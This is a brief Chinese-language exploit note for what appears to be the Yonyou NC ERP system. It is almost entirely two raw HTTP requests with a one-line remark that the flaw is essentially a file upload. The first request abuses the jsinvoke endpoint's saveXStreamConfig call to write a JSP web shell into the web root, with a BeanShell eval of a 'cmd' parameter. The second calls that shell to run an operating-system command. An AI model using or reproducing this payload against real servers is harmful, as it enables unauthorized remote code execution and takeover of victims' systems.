本质看上去应该还是个文件上传
先上传：
POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive
Content-Length: 253
Content-Type: application/x-www-form-urlencoded
{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/823780482.jsp"]}
再执行：
POST /823780482.jsp?error=bsh.Interpreter HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.9
Cookie: cookiets=1681785470496; JSESSIONID=33989F450B1EA57D4D3ED07A343770FF.server
If-None-Match: W/"1571-1589211696000"
If-Modified-Since: Mon, 11 May 2020 15:41:36 GMT
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("ipconfig").getInputStream())
https://mp.weixin.qq.com/s/VJ_hY0YrqKPCBbjltZxOWw